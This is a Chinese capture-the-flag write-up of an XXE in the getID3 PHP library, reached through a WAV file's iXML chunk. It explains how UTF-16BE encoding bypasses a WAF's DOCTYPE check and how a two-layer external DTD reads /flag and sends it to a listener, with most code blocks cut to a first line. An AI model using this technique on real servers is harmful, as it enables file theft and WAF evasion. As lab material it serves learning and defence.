出题——G.T.I 巡查团
本题来源于三角洲以及最近实战中所打的漏洞 CVE-2026-94108,属于 0day 一类,难度较高
题目地址:http://hbc.haobachang.com/see_bug_one?id=1448

信息收集
在源码中发现一段注释,暂且不知道何意为

注册一个账号登录后可以上传媒体文件作为巡查的素材,上传 WAV 是攻击入口

CVE-2026-94108
漏洞源码位于 getid3-1.9.26/getid3/getid3.lib.php
1 | // ===== 第 14-20 行:XML 解析选项常量定义 ===== |
LIBXML_NOENT 启用了实体替换——这是 XXE 的前提
1 | // ===== 第 740-760 行:XML2array 函数(PHP < 8.0 分支) ===== |
关键:
libxml_disable_entity_loader(false)—— 允许加载外部实体simplexml_load_string用GETID3_LIBXML_OPTIONS传入,包含LIBXML_NOENT传入的
$XMLstring来自 WAV 文件的iXML chunk
结论:XML2array 对攻击者可控的 XML 字符串进行解析,存在 XXE 漏洞
读 module.audio-video.riff.php,找到
1 | // 检查 WAV 中是否存在 iXML chunk |
只要上传的 WAV 文件里有 iXML chunk,其内容就会进入 XML2array,触发 XXE
UTF-16BE 编码绕过
WAF 用 stripos($rawBytes, '<!DOCTYPE') 在原始字节流中搜索。stripos 把 needle 当作 UTF-8/ASCII 字节序列处理
1 |
|
UTF-8 编码的 <!DOCTYPE:
1 | 3C 21 44 4F 43 54 59 50 45 |
UTF-16BE 编码的 <!DOCTYPE:
1 | 00 3C 00 21 00 44 00 4F 00 43 00 54 00 59 00 50 00 45 |
每个 ASCII 字符前插入了 0x00 空字节,stripos 搜索的字节序列是 3C 21 44 ...(9 字节),而 UTF-16BE 里是 00 3C 00 21 ...(18 字节),逐字节匹配失败
XML 规范规定,遇到 BOM FE FF 时切换到 UTF-16BE 解码器。解析器会把 00 3C 00 21 ... 还原为 <!DOCTYPE,正常解析,只有 BOM + 编码内容都正确,libxml 才会识别
构造 UTF-16BE WAV
1 | import struct |
准备文件 evil.dtd 文件
1 | <!-- 读取 /flag 文件的内容,存到参数实体 %file 中 --> |
WAV 里 iXML 改为:
1 |
|
结果:
HTTP 服务器收到了
/evil.dtd请求9999 监听没有收到回连数据
libxml 2.9.x 的一个重要限制:在解析外部 DTD 时,libxml 拒绝执行其中的 “通用实体定义”,只处理参数实体
1 | ← 参数实体,OK |
libxml 的行为:
解析
evil.dtd时,%eval展开生成的<!ENTITY % exfil SYSTEM ...>被静默忽略%exfil;引用时找不到实体,不发起 HTTP 请求
双层 DTD 绕过 libxml 限制
核心思路:把 “定义参数实体” 这个操作,放到第二个 DTD 文件里,让它在新的解析上下文中执行
首先是第一层
1 | <!-- 直接声明一个外部实体 %second,指向第二层 DTD --> |
然后是第二层
1 | <!-- 读取服务器 /flag 文件,存到参数实体 %file 中 --> |
WAV iXML
1 |
|
第二个监听的脚本,使用 Python 监听避免环境问题
1 | import socket |
上传 WAV 后可以看到收到了两次请求

在另一个端口监听中拿到 /flag 的内容

最后编写脚本解密拿到 flag
1 | # 从页面源码拿到的密文 hex |
